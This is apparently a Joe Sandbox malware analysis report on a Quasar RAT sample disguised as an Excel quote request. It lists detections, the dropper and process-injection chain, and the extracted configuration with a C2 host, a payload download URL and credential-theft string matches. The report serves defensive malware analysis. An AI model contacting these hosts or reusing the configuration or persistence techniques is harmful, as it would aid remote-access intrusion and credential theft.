Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
RFQ 9-XTC-204-60THD.xlsx.exe

Overview

General Information

Sample name:RFQ 9-XTC-204-60THD.xlsx.exe
Analysis ID:1567424
MD5:c9951fb84a416c1f329b39b2da482348
SHA1:e250949b96260df94f7c4cce9ef009069690ffe6
SHA256:de6b367a4b3a81fea07cdaa9406b9b70a994581cfae539f5da441268e4be4188
Tags:exeuser-abuse_ch
Infos:

Detection

Quasar
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Antivirus detection for URL or domain
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Sigma detected: Drops script at startup location
Sigma detected: Suspicious Double Extension File Execution
Suricata IDS alerts for network traffic
Yara detected AntiVM3
Yara detected Quasar RAT
.NET source code contains potential unpacker
AI detected suspicious sample
C2 URLs / IPs found in malware configuration
Drops VBS files to the startup folder
Hides that the sample has been downloaded from the Internet (zone.identifier)
Initial sample is a PE file and has a suspicious name
Injects a PE file into a foreign processes
Machine Learning detection for dropped file
Machine Learning detection for sample
Sigma detected: WScript or CScript Dropper
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Uses an obfuscated file name to hide its real file extension (double extension)
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes to foreign memory regions
Yara detected Costura Assembly Loader
Yara detected Generic Downloader
Allocates memory with a write watch (potentially for evading sandboxes)
Contains functionality to call native functions
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates a start menu entry (Start Menu\Programs\Startup)
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Drops PE files
Enables debug privileges
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found inlined nop instructions (likely shell or obfuscated code)
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May check the online IP address of the machine
May sleep (evasive loops) to hinder dynamic analysis
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample file is different than original file name gathered from version info
Sigma detected: CurrentVersion Autorun Keys Modification
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Stores files to the Windows start menu directory
Uses 32bit PE files
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Yara signature match

Classification

Process Tree

  • System is w10x64
  • RFQ 9-XTC-204-60THD.xlsx.exe (PID: 7488 cmdline: "C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exe" MD5: C9951FB84A416C1F329B39B2DA482348)
    • InstallUtil.exe (PID: 7792 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe" MD5: 5D4073B2EB6D217C19F2B22F21BF8D57)
  • wscript.exe (PID: 7932 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RealErrorObject.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80)
    • RealErrorObject.exe (PID: 7996 cmdline: "C:\Users\user\AppData\Roaming\RealErrorObject.exe" MD5: C9951FB84A416C1F329B39B2DA482348)
      • InstallUtil.exe (PID: 8184 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe" MD5: 5D4073B2EB6D217C19F2B22F21BF8D57)
  • cleanup

Malware Threat Intel

Provided by

NameDescriptionAttributionBlogpost URLsLink
Quasar RAT, QuasarRATQuasar RAT is a malware family written in .NET which is used by a variety of attackers. The malware is fully functional and open source, and is often packed to make analysis of the source more difficult.
  • APT33
  • Dropping Elephant
  • Stone Panda
  • The Gorgon Group
https://malpedia.caad.fkie.fraunhofer.de/details/win.quasar_rat

Malware Configuration

Threatname: Quasar

{"Version": "1.4.1", "Host:Port": "ert43w221.ydns.eu:6298;", "SubDirectory": "SubDir", "InstallName": "Client.exe", "MutexName": "a9116a3c-c75d-46ba-83b2-70c9a140159e", "StartupKey": "svchost", "LogDirectoryName": "Logs", "ServerSignature": "KOy9nBE0h5W+RwoIC96e2UwdSYYqOC/Q2bFDQPA0HiPpunPfkDTu1Mcdt/abHdxhbuw8Tr6lB0iHjT17UEI6C/nDeevBn1btcJS2a5t4bDF1avRWvIDdYHX8fNZHkSx1fNTOACqJB6OI4WgPPbU5lhBIabqu4HGS0fwV0zgCP6uBej/5CJMZd/2LzBN2GLdIA5c25rCvG0oaJjbEchHwciEjEXfOZYPJla3yc7r0b33yF7Bs21FTdK4MSH+V+jOCuQB0cGbLOzGLtQ5wfkAcY4J98yq8h1GG0fXamABUSKg9cL9ddCFsyfNvXD8hpsvNU6a9FNkWMVAtBLHlFJaPVYPvXyOvaHldUmUcQC49HLCNcED7usTpd6EBbje6pM0e2WlLRwwcM6e4DLlMjaA/5gOTeCeuZW/xRZKIfDoGmHMI7zxbtsk86l/19SAl19rOO6GeJyAW2r24t02aic5Pzxofxpd7tdMP8YgHYZGWp5dror9sDtbf1BoThNoVF0Bmhx5bl8+fZw/4EOP/AyqJmSt8tTx69z+iPE10CUB5bKjdbf5cVHIa+tQv/pODp5W9NG7sF2803ZRF5d3KKYYqIabrZ+9YoyAjizoEEl2gdTp/i5k53Mca3qFSaTXVMo4MWzBtDssVsgz6Hq4B/lpV52o6HsxKYf58FGuPWaEEiws=", "ServerCertificate": "MIIE9DCCAtygAwIBAgIQAP1KbHL3U+pCrceIhUgt+TANBgkqhkiG9w0BAQ0FADAbMRkwFwYDVQQDDBBRdWFzYXIgU2VydmVyIENBMCAXDTI0MTExMzA5NDUzOVoYDzk5OTkxMjMxMjM1OTU5WjAbMRkwFwYDVQQDDBBRdWFzYXIgU2VydmVyIENBMIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAotbNh20kwzcfnjmOzbzY+vFn6xto+tecuZPMyVz4Mfst6A3prg9wjhWfmtawwkKgsyX/bNHP2Y36LlCA88iwQpehtPBSfUPkrcxgyN80MXLMIepeLo/fdRFISOqR9oKXRIJZjh57vHk8rt/LY2BMadYFzIMTlaiU7LJZ8l1NS+BdCmZr7MtlF9e1nje83otpe+YYmb8x3LJq3FMRVtpHXx9ocMmbJzySgM0cjidhNDBImy30Iejj6v90xOQ/cqsw+l+7KSVrTFur7Mk9Ddw1Tx/bW3uRuVDSqBjgp1ozUkUZtqSm0NOZL+WEpkv4d9FY8990XPpMnw/1KYpNykYUYQLMxz9TEr1BLxrev3jyYON4Vj9oHq/Y1O0jNepBpZ2W1ZflnM4IyAzSbtCiuRCw3Wvsey8T1rO72Fx6lnOKz019SKdHsKv/lyYbJ9bFhuqGl0P0Pq38ebppORxfW9pOXCzxI81Hx/Ab2P2ZPxIQ16TSg6nzg71U+oR+eLOknjgp0Q5u4358eeQXaJ0NHsOwa0dmflxMEyhR2sZTy4JYVUbHPc785wOtCkTC8CE0atXWBT4Uc22jd52K0es2Sf9bD0RPKgW16TkvYbpxSQOpqyge0uHSqlY8ERXZXiqRZ/atyPcu/aELwx5QNOkLVyGpMbchVd4bskZF562v+HXVgAECAwEAAaMyMDAwHQYDVR0OBBYEFLLAcXPzPEAbj18Vz/PAS76kzRYkMA8GA1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcNAQENBQADggIBABxy7XalRvJ7v6FvZ1OvFZQUTYyrZcP1mokX4F8y26375ip65+vb/39QmH3KzewpAburt7MnOpghI00emml6UGFy+gH9tcN7ve17pJihBH/a6hV1PdSpf24e9XTfvH2pGg3BGH9e6ZX2vyU9TpOBsQ+4TxvvuBoDjzqIy/5M2XdehY/AHJkHbAjGa56uuAS1vRwCYtkBUVcDDoTtooxDVhSyZS4Pm0YI8IpD8ZrFwr5YAobK6VB2gIAu1NjbEoJY9IaOK4WUVW1S94ACL4ybjgaiuqXJuF1g2SzLkS1beNxqUjv438Vp0I0drPa+3pPyoZ8yWlqwvz3+QiB8x1i55Bpp22kh9fyW69Qw48ys4s4r5VSDH24Hi/tm7Y0YK6wOe+MZypEsAVWVTmJyW00DnUUX0mCRpoYChRqj9vvU6sX003gQxvL943fAg/TOyOjIz39ADLh6SvLIG7LX4pSOgElk0DZwE/KKRw8Sq/6rMYUcxWYpTaGgXjDsWzeg/nfEeQgMGXy94/1CkEUQqmHibEe4NycjwNc6ZcaJ7jjQnOd2E8I/jeyXjW9xJWxIGeAH+M5D3pt6RMP5RXayddw+BV7P4ai2SYhVnWHFCmhhGjPnQqVHzBFTcG9cI/no96EOHe5G8iWm0j8sCVL11es/KL8ixP/6IdIaGlaf+//o6fKZ"}

Yara Signatures

Memory Dumps

SourceRuleDescriptionAuthorStrings
00000006.00000002.1830201966.0000000000720000.00000040.00000400.00020000.00000000.sdmpJoeSecurity_QuasarYara detected Quasar RATJoe Security
    00000000.00000002.1574129055.0000000006EF0000.00000004.08000000.00040000.00000000.sdmpJoeSecurity_CosturaAssemblyLoaderYara detected Costura Assembly LoaderJoe Security
      00000005.00000002.1821278737.0000000002EAA000.00000004.00000800.00020000.00000000.sdmpJoeSecurity_CosturaAssemblyLoaderYara detected Costura Assembly LoaderJoe Security
        00000003.00000002.2617888276.000000000353A000.00000004.00000800.00020000.00000000.sdmpJoeSecurity_QuasarYara detected Quasar RATJoe Security
          00000000.00000002.1541050756.0000000002D86000.00000004.00000800.00020000.00000000.sdmpJoeSecurity_QuasarYara detected Quasar RATJoe Security
            Click to see the 14 entries

            Unpacked PEs

            SourceRuleDescriptionAuthorStrings
            0.2.RFQ 9-XTC-204-60THD.xlsx.exe.6ef0000.10.raw.unpackJoeSecurity_CosturaAssemblyLoaderYara detected Costura Assembly LoaderJoe Security
              0.2.RFQ 9-XTC-204-60THD.xlsx.exe.3e38780.4.unpackJoeSecurity_QuasarYara detected Quasar RATJoe Security
                0.2.RFQ 9-XTC-204-60THD.xlsx.exe.3e38780.4.unpackMAL_QuasarRAT_May19_1Detects QuasarRAT malwareFlorian Roth
                • 0x28d113:$x1: Quasar.Common.Messages
                • 0x29d43c:$x1: Quasar.Common.Messages
                • 0x2a9a36:$x4: Uninstalling... good bye :-(
                • 0x2ab22b:$xc2: 00 70 00 69 00 6E 00 67 00 20 00 2D 00 6E 00 20 00 31 00 30 00 20 00 6C 00 6F 00 63 00 61 00 6C 00 68 00 6F 00 73 00 74 00 20 00 3E 00 20 00 6E 00 75 00 6C 00 0D 00 0A 00 64 00 65 00 6C 00 20 ...
                0.2.RFQ 9-XTC-204-60THD.xlsx.exe.3e38780.4.unpackINDICATOR_SUSPICIOUS_GENInfoStealerDetects executables containing common artifcats observed in infostealersditekSHen
                • 0x2a8fe8:$f1: FileZilla\recentservers.xml
                • 0x2a9028:$f2: FileZilla\sitemanager.xml
                • 0x2a906a:$f3: SOFTWARE\\Martin Prikryl\\WinSCP 2\\Sessions
                • 0x2a92b6:$b1: Chrome\User Data\
                • 0x2a930c:$b1: Chrome\User Data\
                • 0x2a95e4:$b2: Mozilla\Firefox\Profiles
                • 0x2a96e0:$b3: Software\Microsoft\Internet Explorer\IntelliForms\Storage2
                • 0x2fb63c:$b3: Software\Microsoft\Internet Explorer\IntelliForms\Storage2
                • 0x2a9838:$b4: Opera Software\Opera Stable\Login Data
                • 0x2a98f2:$b5: YandexBrowser\User Data\
                • 0x2a9960:$b5: YandexBrowser\User Data\
                • 0x2a9634:$s4: logins.json
                • 0x2a936a:$a1: username_value
                • 0x2a9388:$a2: password_value
                • 0x2a9674:$a3: encryptedUsername
                • 0x2fb580:$a3: encryptedUsername
                • 0x2a9698:$a4: encryptedPassword
                • 0x2fb59e:$a4: encryptedPassword
                • 0x2fb51c:$a5: httpRealm
                0.2.RFQ 9-XTC-204-60THD.xlsx.exe.3e38780.4.unpackMALWARE_Win_QuasarStealerDetects Quasar infostealerditekshen
                • 0x163116:$s1: PGma.System.MouseKeyHook, Version=5.6.130.0, Culture=neutral, PublicKeyToken=null
                • 0x2a9b20:$s3: Process already elevated.
                • 0x28ce12:$s4: get_PotentiallyVulnerablePasswords
                • 0x276ece:$s5: GetKeyloggerLogsDirectory
                • 0x29cb9b:$s5: GetKeyloggerLogsDirectory
                • 0x28ce35:$s6: set_PotentiallyVulnerablePasswords
                • 0x2fcc6a:$s7: BQuasar.Client.Extensions.RegistryKeyExtensions+<GetKeyValues>
                Click to see the 10 entries

                Sigma Signatures

                System Summary

                barindex
                Sigma detected: Suspicious Double Extension File Execution
                Source: Process startedAuthor: Florian Roth (Nextron Systems), @blu3_team (idea), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exe", CommandLine: "C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exe", CommandLine|base64offset|contains: , Image: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exe, NewProcessName: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exe, OriginalFileName: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3504, ProcessCommandLine: "C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exe", ProcessId: 7488, ProcessName: RFQ 9-XTC-204-60THD.xlsx.exe
                Sigma detected: WScript or CScript Dropper
                Source: Process startedAuthor: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RealErrorObject.vbs" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RealErrorObject.vbs" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3504, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RealErrorObject.vbs" , ProcessId: 7932, ProcessName: wscript.exe
                Sigma detected: CurrentVersion Autorun Keys Modification
                Source: Registry Key setAuthor: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: "C:\Users\user\AppData\Roaming\SubDir\Client.exe", EventID: 13, EventType: SetValue, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe, ProcessId: 7792, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\svchost
                Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
                Source: Process startedAuthor: Michael Haag: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RealErrorObject.vbs" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RealErrorObject.vbs" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3504, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RealErrorObject.vbs" , ProcessId: 7932, ProcessName: wscript.exe

                Data Obfuscation

                barindex
                Sigma detected: Drops script at startup location
                Source: File createdAuthor: Joe Security: Data: EventID: 11, Image: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exe, ProcessId: 7488, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RealErrorObject.vbs

                Suricata Signatures

                TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
                2024-12-03T15:08:50.393195+010020355951Domain Observed Used for C2 Detected69.174.99.1316298192.168.2.949759TCP
                TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
                2024-12-03T15:08:50.393195+010020276191Domain Observed Used for C2 Detected69.174.99.1316298192.168.2.949759TCP

                Joe Sandbox Signatures

                Click to jump to signature section

                Show All Signature Results

                AV Detection

                barindex
                Antivirus detection for URL or domain
                Source: https://www.oleonidas.gr/elioz/Ncvotkdidv.mp3Avira URL Cloud: Label: malware
                Source: ert43w221.ydns.euAvira URL Cloud: Label: malware
                Found malware configuration
                Source: 6.2.InstallUtil.exe.400000.0.unpackMalware Configuration Extractor: Quasar {"Version": "1.4.1", "Host:Port": "ert43w221.ydns.eu:6298;", "SubDirectory": "SubDir", "InstallName": "Client.exe", "MutexName": "a9116a3c-c75d-46ba-83b2-70c9a140159e", "StartupKey": "svchost", "LogDirectoryName": "Logs", "ServerSignature": "KOy9nBE0h5W+RwoIC96e2UwdSYYqOC/Q2bFDQPA0HiPpunPfkDTu1Mcdt/abHdxhbuw8Tr6lB0iHjT17UEI6C/nDeevBn1btcJS2a5t4bDF1avRWvIDdYHX8fNZHkSx1fNTOACqJB6OI4WgPPbU5lhBIabqu4HGS0fwV0zgCP6uBej/5CJMZd/2LzBN2GLdIA5c25rCvG0oaJjbEchHwciEjEXfOZYPJla3yc7r0b33yF7Bs21FTdK4MSH+V+jOCuQB0cGbLOzGLtQ5wfkAcY4J98yq8h1GG0fXamABUSKg9cL9ddCFsyfNvXD8hpsvNU6a9FNkWMVAtBLHlFJaPVYPvXyOvaHldUmUcQC49HLCNcED7usTpd6EBbje6pM0e2WlLRwwcM6e4DLlMjaA/5gOTeCeuZW/xRZKIfDoGmHMI7zxbtsk86l/19SAl19rOO6GeJyAW2r24t02aic5Pzxofxpd7tdMP8YgHYZGWp5dror9sDtbf1BoThNoVF0Bmhx5bl8+fZw/4EOP/AyqJmSt8tTx69z+iPE10CUB5bKjdbf5cVHIa+tQv/pODp5W9NG7sF2803ZRF5d3KKYYqIabrZ+9YoyAjizoEEl2gdTp/i5k53Mca3qFSaTXVMo4MWzBtDssVsgz6Hq4B/lpV52o6HsxKYf58FGuPWaEEiws=", "ServerCertificate": "MIIE9DCCAtygAwIBAgIQAP1KbHL3U+pCrceIhUgt+TANBgkqhkiG9w0BAQ0FADAbMRkwFwYDVQQDDBBRdWFzYXIgU2VydmVyIENBMCAXDTI0MTExMzA5NDUzOVoYDzk5OTkxMjMxMjM1OTU5WjAbMRkwFwYDVQQDDBBRdWFzYXIgU2VydmVyIENBMIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAotbNh20kwzcfnjmOzbzY+vFn6xto+tecuZPMyVz4Mfst6A3prg9wjhWfmtawwkKgsyX/bNHP2Y36LlCA88iwQpehtPBSfUPkrcxgyN80MXLMIepeLo/fdRFISOqR9oKXRIJZjh57vHk8rt/LY2BMadYFzIMTlaiU7LJZ8l1NS+BdCmZr7MtlF9e1nje83otpe+YYmb8x3LJq3FMRVtpHXx9ocMmbJzySgM0cjidhNDBImy30Iejj6v90xOQ/cqsw+l+7KSVrTFur7Mk9Ddw1Tx/bW3uRuVDSqBjgp1ozUkUZtqSm0NOZL+WEpkv4d9FY8990XPpMnw/1KYpNykYUYQLMxz9TEr1BLxrev3jyYON4Vj9oHq/Y1O0jNepBpZ2W1ZflnM4IyAzSbtCiuRCw3Wvsey8T1rO72Fx6lnOKz019SKdHsKv/lyYbJ9bFhuqGl0P0Pq38ebppORxfW9pOXCzxI81Hx/Ab2P2ZPxIQ16TSg6nzg71U+oR+eLOknjgp0Q5u4358eeQXaJ0NHsOwa0dmflxMEyhR2sZTy4JYVUbHPc785wOtCkTC8CE0atXWBT4Uc22jd52K0es2Sf9bD0RPKgW16TkvYbpxSQOpqyge0uHSqlY8ERXZXiqRZ/atyPcu/aELwx5QNOkLVyGpMbchVd4bskZF562v+HXVgAECAwEAAaMyMDAwHQYDVR0OBBYEFLLAcXPzPEAbj18Vz/PAS76kzRYkMA8GA1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcNAQENBQADggIBABxy7XalRvJ7v6FvZ1OvFZQUTYyrZcP1mokX4F8y26375ip65+vb/39QmH3KzewpAburt7MnOpghI00emml6UGFy+gH9tcN7ve17pJihBH/a6hV1PdSpf24e9XTfvH2pGg3BGH9e6ZX2vyU9TpOBsQ+4TxvvuBoDjzqIy/5M2XdehY/AHJkHbAjGa56uuAS1vRwCYtkBUVcDDoTtooxDVhSyZS4Pm0YI8IpD8ZrFwr5YAobK6VB2gIAu1NjbEoJY9IaOK4WUVW1S94ACL4ybjgaiuqXJuF1g2SzLkS1beNxqUjv438Vp0I0drPa+3pPyoZ8yWlqwvz3+QiB8x1i55Bpp22kh9fyW69Qw48ys4s4r5VSDH24Hi/tm7Y0YK6wOe+MZypEsAVWVTmJyW00DnUUX0mCRpoYChRqj9vvU6sX003gQxvL943fAg/TOyOjIz39ADLh6SvLIG7LX4pSOgElk0DZwE/KKRw8Sq/6rMYUcxWYpTaGgXjDsWzeg/nfEeQgMGXy94/1CkEUQqmHibEe4NycjwNc6ZcaJ7jjQnOd2E8I/jeyXjW9xJWxIGeAH+M5D3pt6RMP5RXayddw+BV7P4ai2SYhVnWHFCmhhGjPnQqVHzBFTcG9cI/no96EOHe5G8iWm0j8sCVL11es/KL8ixP/6IdIaGlaf+//o6fKZ"}
                Multi AV Scanner detection for dropped file
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeReversingLabs: Detection: 42%
                Multi AV Scanner detection for submitted file
                Source: RFQ 9-XTC-204-60THD.xlsx.exeReversingLabs: Detection: 42%
                Yara detected Quasar RAT
                Source: Yara matchFile source: 0.2.RFQ 9-XTC-204-60THD.xlsx.exe.3e38780.4.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 6.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 0.2.RFQ 9-XTC-204-60THD.xlsx.exe.3e38780.4.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 00000006.00000002.1830201966.0000000000720000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000003.00000002.2617888276.000000000353A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000000.00000002.1541050756.0000000002D86000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000005.00000002.1843673072.0000000004745000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000005.00000002.1821278737.0000000003258000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000006.00000002.1830201966.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000000.00000002.1558613210.0000000003E38000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000000.00000002.1575801263.00000000072F1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: Process Memory Space: RFQ 9-XTC-204-60THD.xlsx.exe PID: 7488, type: MEMORYSTR
                Source: Yara matchFile source: Process Memory Space: InstallUtil.exe PID: 7792, type: MEMORYSTR
                Source: Yara matchFile source: Process Memory Space: RealErrorObject.exe PID: 7996, type: MEMORYSTR
                Source: Yara matchFile source: Process Memory Space: InstallUtil.exe PID: 8184, type: MEMORYSTR
                AI detected suspicious sample
                Source: Submited SampleIntegrated Neural Analysis Model: Matched 100.0% probability
                Machine Learning detection for dropped file
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeJoe Sandbox ML: detected
                Machine Learning detection for sample
                Source: RFQ 9-XTC-204-60THD.xlsx.exeJoe Sandbox ML: detected
                Source: RFQ 9-XTC-204-60THD.xlsx.exeStatic PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeFile created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\InstallUtil.exe.logJump to behavior
                Source: unknownHTTPS traffic detected: 185.78.221.73:443 -> 192.168.2.9:49712 version: TLS 1.2
                Source: unknownHTTPS traffic detected: 103.126.138.87:443 -> 192.168.2.9:49771 version: TLS 1.2
                Source: unknownHTTPS traffic detected: 185.78.221.73:443 -> 192.168.2.9:49777 version: TLS 1.2
                Source: RFQ 9-XTC-204-60THD.xlsx.exeStatic PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
                Source: Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdbSHA256e source: RFQ 9-XTC-204-60THD.xlsx.exe, 00000000.00000002.1565207093.0000000004850000.00000004.08000000.00040000.00000000.sdmp, RFQ 9-XTC-204-60THD.xlsx.exe, 00000000.00000002.1558613210.0000000003811000.00000004.00000800.00020000.00000000.sdmp
                Source: Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdb source: RFQ 9-XTC-204-60THD.xlsx.exe, 00000000.00000002.1565207093.0000000004850000.00000004.08000000.00040000.00000000.sdmp, RFQ 9-XTC-204-60THD.xlsx.exe, 00000000.00000002.1558613210.0000000003811000.00000004.00000800.00020000.00000000.sdmp
                Source: Binary string: protobuf-net.pdbSHA256}Lq source: RFQ 9-XTC-204-60THD.xlsx.exe, 00000000.00000002.1575220335.0000000007070000.00000004.08000000.00040000.00000000.sdmp, RFQ 9-XTC-204-60THD.xlsx.exe, 00000000.00000002.1558613210.0000000003E38000.00000004.00000800.00020000.00000000.sdmp
                Source: Binary string: protobuf-net.pdb source: RFQ 9-XTC-204-60THD.xlsx.exe, 00000000.00000002.1575220335.0000000007070000.00000004.08000000.00040000.00000000.sdmp, RFQ 9-XTC-204-60THD.xlsx.exe, 00000000.00000002.1558613210.0000000003E38000.00000004.00000800.00020000.00000000.sdmp
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeCode function: 4x nop then jmp 04843B12h0_2_048438D0
                Source: C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exeCode function: 4x nop then jmp 04843B12h0_2_048438C1
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeCode function: 4x nop then jmp 02C43B12h5_2_02C438D0
                Source: C:\Users\user\AppData\Roaming\RealErrorObject.exeCode function: 4x nop then jmp 02C43B12h5_2_02C438C1

                Networking

                barindex
                Suricata IDS alerts for network traffic
                Source: Network trafficSuricata IDS: 2027619 - Severity 1 - ET MALWARE Observed Malicious SSL Cert (Quasar CnC) : 69.174.99.131:6298 -> 192.168.2.9:49759
                Source: Network trafficSuricata IDS: 2035595 - Severity 1 - ET MALWARE Generic AsyncRAT Style SSL Cert : 69.174.99.131:6298 -> 192.168.2.9:49759
                C2 URLs / IPs found in malware configuration
                Source: Malware configuration extractorURLs: ert43w221.ydns.eu
                Yara detected Generic Downloader
                Source: Yara matchFile source: 6.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 0.2.RFQ 9-XTC-204-60THD.xlsx.exe.3e38780.4.raw.unpack, type: UNPACKEDPE
                Source: global trafficTCP traffic: 192.168.2.9:49759 -> 69.174.99.131:6298
                Source: global trafficHTTP traffic detected: GET /elioz/Ncvotkdidv.mp3 HTTP/1.1Host: www.oleonidas.grConnection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /elioz/Ncvotkdidv.mp3 HTTP/1.1Host: www.oleonidas.grConnection: Keep-Alive
                Source: Joe Sandbox ViewIP Address: 103.126.138.87 103.126.138.87
                Source: Joe Sandbox ViewIP Address: 185.78.221.73 185.78.221.73
                Source: Joe Sandbox ViewASN Name: ASN-QUADRANET-GLOBALUS ASN-QUADRANET-GLOBALUS
                Source: Joe Sandbox ViewJA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
                Source: unknownDNS query: name: ipwho.is
                Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0Host: ipwho.isConnection: Keep-Alive
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                Source: global trafficHTTP traffic detected: GET /elioz/Ncvotkdidv.mp3 HTTP/1.1Host: www.oleonidas.grConnection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0Host: ipwho.isConnection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /elioz/Ncvotkdidv.mp3 HTTP/1.1Host: www.oleonidas.grConnection: Keep-Alive
                Source: global trafficDNS traffic detected: DNS query: www.oleonidas.gr
                Source: global trafficDNS traffic detected: DNS query: ert43w221.ydns.eu
                Source: global trafficDNS traffic detected: DNS query: ipwho.is
                Source: InstallUtil.exe, 00000003.00000002.2615719222.00000000014F8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en
